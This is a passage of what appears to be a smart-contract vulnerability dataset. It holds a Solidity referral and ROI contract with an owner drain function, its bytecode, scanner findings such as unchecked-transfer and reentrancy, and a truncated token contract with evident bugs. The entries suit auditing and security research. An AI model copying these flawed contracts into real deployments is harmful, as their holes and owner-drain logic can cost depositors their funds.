_amount) external pure returns(uint256) { return _amount.mul(210).div(100); } /** * @dev payoutOf: Users daily ROI and maximum payout will be show */ function payoutOf(address _addr) external view returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].depositAmount); if (users[_addr].depositPayouts < max_payout) { payout = ((users[_addr].depositAmount.mul(1e18).div(100e18)).mul((block.timestamp .sub(users[_addr].depositTime)).div(1 days))).sub(users[_addr].depositPayouts); // Daily roi if (users[_addr].depositPayouts.add(payout) > max_payout) { payout = max_payout.sub(users[_addr].depositPayouts); } } } /** * @dev userInfo: Returns upline,depositTime,depositAmount,payouts,match_bonus */ function userInfo(address _addr) external view returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 match_bonus) { return (users[_addr].upline, users[_addr].depositTime, users[_addr].depositAmount, users[_addr].payouts, users[_addr].matchBonus); } /** * @dev userInfoTotals: Returns users referrals count, totalDeposit, totalStructure */ function userInfoTotals(address _addr) external view returns(uint256 referrals, uint256 total_deposits, uint256 total_structure) { return (users[_addr].referrals, users[_addr].totalDeposits, users[_addr].totalStructure); } /** * @dev contractInfo: Returns total users, totalDeposited, totalWithdraw */ function contractInfo() external view returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw) { return (totalUsers, totalDeposited, totalWithdraw); } /** * @dev contractLock: For contract status */ function contractLock(bool _lockStatus) public onlyOwner returns(bool) { lockStatus = _lockStatus; return true; } /** * @dev failSafe: Returns transfer token */ function failSafe(address _toUser, uint _amount) external onlyOwner returns(bool) { require(_toUser != address(0), "Invalid Address"); require(token.balanceOf(address(this)) >= _amount, "SeekReward: insufficient amount"); token.transfer(_toUser, _amount); return true; } /** * @dev isContract: Returns true if account is a contract */ function isContract(address _account) public view returns(bool) { uint32 size; assembly { size:= extcodesize(_account) } if (size != 0) return true; return false; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636da61d1e116100ad578063b2a6cef811610071578063b2a6cef8146103ce578063bff1f9e1146103eb578063f18d20be146103f3578063fc0c546a146103fb578063ff50abdc146104035761012c565b80636da61d1e146102a257806374b95b2d146102e15780638959af3c14610307578063a478656b14610324578063a87430ba146103435761012c565b80633ccfd60b116100f45780633ccfd60b1461021e5780633e89340f14610228578063455fd6231461023057806347e7ef241461024a57806352fd9f13146102765761012c565b806306a8f8a214610131578063115976c41461015557806315c43aaf1461015d57806316279055146101835780631959a002146101bd575b600080fd5b61013961040b565b604080516001600160a01b039092168252519081900360200190f35b61013961041a565b61016561042e565b60408051938452602084019290925282820152519081900360600190f35b6101a96004803603602081101561019957600080fd5b50356001600160a01b031661043c565b604080519115158252519081900360200190f35b6101e3600480360360208110156101d357600080fd5b50356001600160a01b0316610461565b604080516001600160a01b03909616865264ffffffffff90941660208601528484019290925260608401526080830152519081900360a00190f35b6102266104aa565b005b6101a96109aa565b6102386109b3565b60408051918252519081900360200190f35b6102266004803603604081101561026057600080fd5b506001600160a01b0381351690602001356109b9565b6101a96004803603604081101561028c57600080fd5b506001600160a01b038135169060200135610a86565b6102c8600480360360208110156102b857600080fd5b50356001600160a01b0316610c8c565b6040805192835260208301919091528051918290030190f35b610165600480360360208110156102f757600080fd5b50356001600160a01b0316610e4c565b6102386004803603602081101561031d57600080fd5b5035610e77565b6101a96004803603602081101561033a57600080fd5b50351515610e8f565b6103696004803603602081101561035957600080fd5b50356001600160a01b0316610f06565b604080519b8c526001600160a01b03909a1660208c01528a8a019890985260608a0196909652608089019490945260a088019290925260c087015260e086015264ffffffffff1661010085015261012084015261014083015251908190036101600190f35b610238600480360360208110156103e457600080fd5b5035610f70565b610238610f8e565b610226610f94565b6101396111c4565b6102386111d3565b6003546001600160a01b031681565b60025461010090046001600160a01b031681565b600554600654600754909192565b6000813b63ffffffff81161561045657600191505061045c565b60009150505b919050565b6001600160a01b03908116600090815260016020819052604090912090810154600882015460068301546003840154600590940154929094169464ffffffffff90911693929190565b60025460ff1615610502576040805162461bcd60e51b815260206004820152601b60248201527f5365656b5265776172643a20436f6e7472616374204c6f636b65640000000000604482015290519081900360640190fd5b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b15801561054257600080fd5b505afa158015610556573d6000803e3d6000fd5b505050506040513d604081101561056c57600080fd5b508051602090910151600254919350915061010090046001600160a01b03163314156105df576040805162461bcd60e51b815260206004820152601a60248201527f5365656b5265776172643a206f6e6c7920666f72207573657273000000000000604482015290519081900360640190fd5b336000908152600160205260409020600301548111610645576040805162461bcd60e51b815260206004820152601860248201527f5365656b5265776172643a2046756c6c207061796f7574730000000000000000604482015290519081900360640190fd5b811561073b57336000908152600160205260409020600301548190610670908463ffffffff6111d916565b111561069d573360009081526001602052604090206003015461069a90829063ffffffff61123a16565b91505b336000908152600160205260409020600701546106c0908363ffffffff6111d916565b3360009081526001602052604090206007810191909155600301546106eb908363ffffffff6111d916565b3360008181526001602052604090206003019190915561073b9061073668056bc75e2d6310000061072a866729a2241af62c000063ffffffff61127c16565b9063ffffffff6112d516565b611317565b336000908152600160205260409020600301548111801561076d57503360009081526001602052604090206005015415155b1561086b573360009081526001602052604090206005810154600390910154829161079e919063ffffffff6111d916565b11156107dc57336000908152600160205260409020600301546107c890829063ffffffff61123a16565b336000908152600160205260409020600501555b33600090815260016020526040902060058101546003909101546108059163ffffffff6111d916565b33600090815260016020526040902060038101919091556005015461083190839063ffffffff6111d916565b33600090815260016020526040902060050154909250610857908063ffffffff61123a16565b336000908152600160205260409020600501555b60075461087e908363ffffffff6111d916565b600755600080546040805163a9059cbb60e01b81523360048201526024810186905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b1580156108d657600080fd5b505af11580156108ea573d6000803e3d6000fd5b505050506040513d602081101561090057600080fd5b505060408051838152426020820152815133927ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568928290030190a23360009081526001602052604090206003015481116109a65733600081815260016020908152604091829020600301548251908152429181019190915281517f18aa821420137b5eb0a7cd9e6ea687b655e2a98ccefbf2a1b8a155603994d0f8929181900390910190a25b5050565b60025460ff1681565b60075481565b60025460ff1615610a11576040805162461bcd60e51b815260206004820152601b60248201527f5365656b5265776172643a20436f6e7472616374204c6f636b65640000000000604482015290519081900360640190fd5b33610a1b8161043c565b15610a6d576040805162461bcd60e51b815260206004820152601b60248201527f5365656b5265776172643a20496e76616c696420616464726573730000000000604482015290519081900360640190fd5b610a7733846115e8565b610a813383611756565b505050565b60025460009061010090046001600160a01b03163314610ae6576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b6001600160a01b038316610b33576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600054604080516370a0823160e01b8152306004820152905184926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610b7d57600080fd5b505afa158015610b91573d6000803e3d6000fd5b505050506040513d6020811015610ba757600080fd5b50511015610bfc576040805162461bcd60e51b815260206004820152601f60248201527f5365656b5265776172643a20696e73756666696369656e7420616d6f756e7400604482015290519081900360640190fd5b600080546040805163a9059cbb60e01b81526001600160a01b038781166004830152602482018790529151919092169263a9059cbb92604480820193602093909283900390910190829087803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b505050506040513d6020811015610c7f57600080fd5b5060019150505b92915050565b6001600160a01b03811660009081526001602090815260408083206006015481516322566bcf60e21b81526004810191909152905183923092638959af3c9260248083019392829003018186803b158015610ce657600080fd5b505afa158015610cfa573d6000803e3d6000fd5b505050506040513d6020811015610d1057600080fd5b50516001600160a01b038416600090815260016020526040902060070154909150811115610e47576001600160a01b03831660009081526001602052604090206007810154600890910154610de09190610dd490610d8590620151809061072a90429064ffffffffff1663ffffffff61123a16565b6001600160a01b038716600090815260016020526040902060060154610dc89068056bc75e2d631000009061072a90670de0b6b3a764000063ffffffff61127c16565b9063ffffffff61127c16565b9063ffffffff61123a16565b6001600160a01b0384166000908152600160205260409020600701549092508190610e11908463ffffffff6111d916565b1115610e47576001600160a01b038316600090815260016020526040902060070154610e4490829063ffffffff61123a16565b91505b915091565b6001600160a01b0316600090815260016020526040902060028101546009820154600a909201549092565b6000610c86606461072a8460d263ffffffff61127c16565b60025460009061010090046001600160a01b03163314610eef576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b506002805460ff1916911515919091179055600190565b600160208190526000918252604090912080549181015460028201546003830154600484015460058501546006860154600787015460088801546009890154600a909901546001600160a01b039098169896979596949593949293919264ffffffffff909116918b565b60048181548110610f7d57fe5b600091825260209091200154905081565b60055481565b60025461010090046001600160a01b03163314610ff1576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b60025461010090046001600160a01b03166000908152600160205260408120600401541561106d5760025461010090046001600160a01b03166000908152600160205260409020600401546110479082906111d9565b60025461010090046001600160a01b031660009081526001602052604081206004015590505b60025461010090046001600160a01b0316600090815260016020526040902060050154156110e95760025461010090046001600160a01b03166000908152600160205260409020600501546110c39082906111d9565b60025461010090046001600160a01b031660009081526001602052604081206005015590505b600080546002546040805163a9059cbb60e01b81526101009092046001600160a01b03908116600484015260248301869052905192169263a9059cbb926044808401936020939083900390910190829087803b15801561114857600080fd5b505af115801561115c573d6000803e3d6000fd5b505050506040513d602081101561117257600080fd5b50506002546040805183815242602082015281516101009093046001600160a01b0316927fb07a9b49018ed505ba865ebcc06fda05ee43f88fd5bfee6185782827834fb1b0929181900390910190a250565b6000546001600160a01b031681565b60065481565b600082820183811015611233576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061123383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612007565b60008261128b57506000610c86565b8282028284828161129857fe5b04146112335760405162461bcd60e51b81526004018080602001828103825260218152602001806121046021913960400191505060405180910390fd5b600061123383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209e565b6001600160a01b038083166000908152600160208190526040909120810154909116905b601581116115e2576001600160a01b038216611356576115e2565b600381116113f3576001600160a01b03821660009081526001602052604090206005015461138a908463ffffffff6111d916565b6001600160a01b03808416600081815260016020908152604091829020600501949094558051878152429481019490945280519193928816927fe49230762b247841839a498430314af8e775c685aefc81fcf3a4fa7a4e8ae084929081900390910190a36115b9565b6006811161144f576001600160a01b03821660009081526001602052604090206002908101541061144a576001600160a01b03821660009081526001602052604090206005015461138a908463ffffffff6111d916565b6115b9565b600a81116114a6576001600160a01b03821660009081526001602052604090206002015460041161144a576001600160a01b03821660009081526001602052604090206005015461138a908463ffffffff6111d916565b600e81116114fd576001600160a01b03821660009081526001602052604090206002015460081161144a576001600160a01b03821660009081526001602052604090206005015461138a908463ffffffff6111d916565b601581116115b9576001600160a01b0382166000908152600160205260409020600201546010116115b9576001600160a01b038216600090815260016020526040902060050154611554908463ffffffff6111d916565b6001600160a01b03808416600081815260016020908152604091829020600501949094558051878152429481019490945280519193928816927fe49230762b247841839a498430314af8e775c685aefc81fcf3a4fa7a4e8ae084929081900390910190a35b6001600160a01b039182166000908152600160208190526040909120810154909216910161133b565b50505050565b6001600160a01b0382811660009081526001602081905260409091200154161580156116265750816001600160a01b0316816001600160a01b031614155b801561164557506002546001600160a01b038381166101009092041614155b801561168e57506001600160a01b03811660009081526001602052604090206008015464ffffffffff1615158061168e57506002546001600160a01b0382811661010090920416145b156109a6576001600160a01b038281166000908152600160208190526040808320820180546001600160a01b0319169486169485179055928252919020600201546116d8916111d9565b6001600160a01b0382166000908152600160208190526040822060020192909255600580549092019091555b60158160ff161015610a81576001600160a01b03821661172357610a81565b6001600160a01b039182166000908152600160208190526040909120600a81018054830190558101549092169101611704565b6001600160a01b03828116600090815260016020819052604090912001541615158061179457506002546001600160a01b0383811661010090920416145b6117d1576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6001600160a01b03821660009081526001602052604090206008015464ffffffffff16156119bd576001600160a01b0382166000908152600160208181526040928390208054909201825560069091015482516322566bcf60e21b8152600481019190915291513092638959af3c926024808301939192829003018186803b15801561185c57600080fd5b505afa158015611870573d6000803e3d6000fd5b505050506040513d602081101561188657600080fd5b50516001600160a01b03831660009081526001602052604090206003015410156118e15760405162461bcd60e51b81526004018080602001828103825260228152602001806121256022913960400191505060405180910390fd5b6001600160a01b038216600090815260016020526040902060060154811080159061196e5750600480546001600160a01b0384166000908152600160205260409020546000199091011061194d576001600160a01b038316600090815260016020526040902054611955565b600454600019015b8154811061195f57fe5b90600052602060002001548111155b6119b8576040805162461bcd60e51b815260206004820152601660248201527514d9595ad4995dd85c990e8810985908185b5bdd5b9d60521b604482015290519081900360640190fd5b611a37565b6706f05b59d3b2000081101580156119ed575060046000815481106119de57fe5b90600052602060002001548111155b611a37576040805162461bcd60e51b815260206004820152601660248201527514d9595ad4995dd85c990e8810985908185b5bdd5b9d60521b604482015290519081900360640190fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b158015611a9257600080fd5b505af1158015611aa6573d6000803e3d6000fd5b505050506040513d6020811015611abc57600080fd5b5051611b0f576040805162461bcd60e51b815260206004820152601e60248201527f5365656b7265776172643a207472616e73616374696f6e206661696c65640000604482015290519081900360640190fd5b6001600160a01b038216600090815260016020526040812060038101829055600681018390556007810182905560088101805464ffffffffff19164264ffffffffff1617905560048101829055600581019190915560090154611b7290826111d9565b6001600160a01b038316600090815260016020526040902060090155600654611ba1908263ffffffff6111d916565b6006556001600160a01b0380831660009081526001602081905260408083208201548416808452922001549091168115611cf5576000546001600160a01b031663a9059cbb83611c0c68056bc75e2d6310000061072a88678ac7230489e8000063ffffffff61127c16565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611c5b57600080fd5b505af1158015611c6f573d6000803e3d6000fd5b505050506040513d6020811015611c8557600080fd5b50611cd89050611cb068056bc75e2d6310000061072a86678ac7230489e8000063ffffffff61127c16565b6001600160a01b0384166000908152600160205260409020600401549063ffffffff6111d916565b6001600160a01b0383166000908152600160205260409020600401555b6001600160a01b03811615611e24576000546001600160a01b031663a9059cbb82611d3b68056bc75e2d6310000061072a88674563918244f4000063ffffffff61127c16565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611d8a57600080fd5b505af1158015611d9e573d6000803e3d6000fd5b505050506040513d6020811015611db457600080fd5b50611e079050611ddf68056bc75e2d6310000061072a86674563918244f4000063ffffffff61127c16565b6001600160a01b0383166000908152600160205260409020600401549063ffffffff6111d916565b6001600160a01b0382166000908152600160205260409020600401555b6000611e4b68056bc75e2d6310000061072a86674563918244f4000063ffffffff61127c16565b600054600280549293506001600160a01b039182169263a9059cbb926101009091041690611e8090859063ffffffff6112d516565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611ecf57600080fd5b505af1158015611ee3573d6000803e3d6000fd5b505050506040513d6020811015611ef957600080fd5b50506000546003546001600160a01b039182169163a9059cbb9116611f2584600263ffffffff6112d516565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611f7457600080fd5b505af1158015611f88573d6000803e3d6000fd5b505050506040513d6020811015611f9e57600080fd5b5050506001600160a01b0380851660008181526001602081815260408084209092015482518981524292810192909252825193951693927fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7929181900390910190a35050505050565b600081848411156120965760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561205b578181015183820152602001612043565b50505050905090810190601f1680156120885780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836120ed5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561205b578181015183820152602001612043565b5060008385816120f957fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775365656b5265776172643a204465706f73697420616c726561647920657869737473a26469706673582212201c0f9d81d030bf960a302d8fc56b6d61c8831c4f465784ee1e142777db1f3c5464736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,668
0xe22977be2f47099ace43ed2696a752f739cdca6c
// SPDX-License-Identifier: MIT // File: FPSCOIN smart contract.sol pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ILosslessController { function beforeTransfer(address sender, address recipient, uint256 amount) external; function beforeTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external; function beforeApprove(address sender, address spender, uint256 amount) external; function beforeIncreaseAllowance(address msgSender, address spender, uint256 addedValue) external; function beforeDecreaseAllowance(address msgSender, address spender, uint256 subtractedValue) external; function afterApprove(address sender, address spender, uint256 amount) external; function afterTransfer(address sender, address recipient, uint256 amount) external; function afterTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external; function afterIncreaseAllowance(address sender, address spender, uint256 addedValue) external; function afterDecreaseAllowance(address sender, address spender, uint256 subtractedValue) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract FPSCOIN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FPSCOIN"; string private constant _symbol = "FPSCOIN"; uint8 private constant _decimals = 18; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 25; uint256 private _teamFee = 45; mapping(uint256 => uint256) private daysToPercent; mapping(address => uint256) private firstBuyTime; mapping(address => uint256) private firstsell; // date of sell mapping(address => uint256) private numberOfDays; address payable private _marketingAddress; address payable private _liquidityAddress; address payable private _devAddress; address payable private _teamAddress; address payable private _rewardAndtouranementAddress; address payable private _privateSellAddress; address payable private _airdropsAddress; address payable private _publicSaleAddress; address payable private _chikenWinnerAddress; address payable private _reserveForFuturesExchangesAddress; //lossless Declair address public recoveryAdmin; address private recoveryAdminCanditate; bytes32 private recoveryAdminKeyHash; address public admin; uint256 public timelockPeriod; uint256 public losslessTurnOffTimestamp; bool public isLosslessTurnOffProposed; bool public isLosslessOn = true; ILosslessController private lossless; event AdminChanged(address indexed previousAdmin, address indexed newAdmin); event RecoveryAdminChangeProposed(address indexed candidate); event RecoveryAdminChanged(address indexed previousAdmin, address indexed newAdmin); event LosslessTurnOffProposed(uint256 turnOffDate); event LosslessTurnedOff(); event LosslessTurnedOn(); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable marketingAddress, address payable devAddress, address payable rewardAndtouranementAddress, address payable privateSellAddress, address payable airdropsAddress, address payable reserveForFuturesExchangesAddress, address payable chikenWinnerAddress, address payable liquidityAddress, address admin_, address recoveryAdmin_, uint256 timelockPeriod_, address lossless_) { _marketingAddress = marketingAddress; _devAddress = devAddress; _rewardAndtouranementAddress = rewardAndtouranementAddress; _privateSellAddress = privateSellAddress; _airdropsAddress = airdropsAddress; _reserveForFuturesExchangesAddress = reserveForFuturesExchangesAddress; _chikenWinnerAddress = chikenWinnerAddress; _liquidityAddress = liquidityAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; _isExcludedFromFee[_rewardAndtouranementAddress] = true; _isExcludedFromFee[_privateSellAddress] = true; _isExcludedFromFee[_airdropsAddress] = true; _isExcludedFromFee[_reserveForFuturesExchangesAddress] = true; _isExcludedFromFee[_chikenWinnerAddress] = true; _isExcludedFromFee[_liquidityAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); //lossless constructor admin = admin_; recoveryAdmin = recoveryAdmin_; timelockPeriod = timelockPeriod_; lossless = ILosslessController(lossless_); } //lossless modifier modifier lssAprove(address spender, uint256 amount) { if (isLosslessOn) { lossless.beforeApprove(_msgSender(), spender, amount); _; lossless.afterApprove(_msgSender(), spender, amount); } else { _; } } modifier lssTransfer(address recipient, uint256 amount) { if (isLosslessOn) { lossless.beforeTransfer(_msgSender(), recipient, amount); _; lossless.afterTransfer(_msgSender(), recipient, amount); } else { _; } } modifier lssTransferFrom(address sender, address recipient, uint256 amount) { if (isLosslessOn) { lossless.beforeTransferFrom(_msgSender(),sender, recipient, amount); _; lossless.afterTransferFrom(_msgSender(), sender, recipient, amount); } else { _; } } modifier lssIncreaseAllowance(address spender, uint256 addedValue) { if (isLosslessOn) { lossless.beforeIncreaseAllowance(_msgSender(), spender, addedValue); _; lossless.afterIncreaseAllowance(_msgSender(), spender, addedValue); } else { _; } } modifier lssDecreaseAllowance(address spender, uint256 subtractedValue) { if (isLosslessOn) { lossless.beforeDecreaseAllowance(_msgSender(), spender, subtractedValue); _; lossless.afterDecreaseAllowance(_msgSender(), spender, subtractedValue); } else { _; } } modifier onlyRecoveryAdmin() { require(_msgSender() == recoveryAdmin, "LERC20: Must be recovery admin"); _; } //lossless management function getAdmin() external view returns (address) { return admin; } function transferOutBlacklistedFunds(address[] calldata from) external { require(_msgSender() == address(lossless), "LERC20: Only lossless contract"); for (uint i = 0; i < from.length; i++) { _transfer(from[i], address(lossless), balanceOf(from[i])); } } function setLosslessAdmin(address newAdmin) public onlyRecoveryAdmin { emit AdminChanged(admin, newAdmin); admin = newAdmin; } function transferRecoveryAdminOwnership(address candidate, bytes32 keyHash) public onlyRecoveryAdmin { recoveryAdminCanditate = candidate; recoveryAdminKeyHash = keyHash; emit RecoveryAdminChangeProposed(candidate); } function acceptRecoveryAdminOwnership(bytes memory key) external { require(_msgSender() == recoveryAdminCanditate, "LERC20: Must be canditate"); require(keccak256(key) == recoveryAdminKeyHash, "LERC20: Invalid key"); emit RecoveryAdminChanged(recoveryAdmin, recoveryAdminCanditate); recoveryAdmin = recoveryAdminCanditate; } function proposeLosslessTurnOff() public onlyRecoveryAdmin { losslessTurnOffTimestamp = block.timestamp + timelockPeriod; isLosslessTurnOffProposed = true; emit LosslessTurnOffProposed(losslessTurnOffTimestamp); } function executeLosslessTurnOff() public onlyRecoveryAdmin { require(isLosslessTurnOffProposed, "LERC20: TurnOff not proposed"); require(losslessTurnOffTimestamp <= block.timestamp, "LERC20: Time lock in progress"); isLosslessOn = false; isLosslessTurnOffProposed = false; emit LosslessTurnedOff(); } function executeLosslessTurnOn() public onlyRecoveryAdmin { isLosslessTurnOffProposed = false; isLosslessOn = true; emit LosslessTurnedOn(); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override lssTransfer(recipient, amount) returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override lssAprove(spender, amount) returns (bool) { require((amount == 0) || (_allowances[_msgSender()][spender] == 0), "LERC20: Cannot change non zero allowance"); _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override lssTransferFrom(sender, recipient, amount) returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 3; _teamFee = 7; } function setFee(uint256 multiplier) private { _taxFee =25-((multiplier.mul(3).div(5) )) ; _teamFee =45-((multiplier.mul(63).div(50) )); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(tradingOpen); require(amount <= _maxTxAmount); require(firstBuyTime[to]<block.timestamp); _teamFee = 7; _taxFee = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); // Price impact numberOfDays[from]= firstsell[from]-firstBuyTime[from]; if (numberOfDays[from] <(30 days)){ setFee(numberOfDays[from]); } else { _teamFee = 7 ; _taxFee = 3 ; } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.div(5)); _devAddress.transfer(amount.div(5)); _teamAddress.transfer(amount.div(5)); _rewardAndtouranementAddress.transfer(amount.div(5)); _chikenWinnerAddress.transfer(amount.div(5)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { 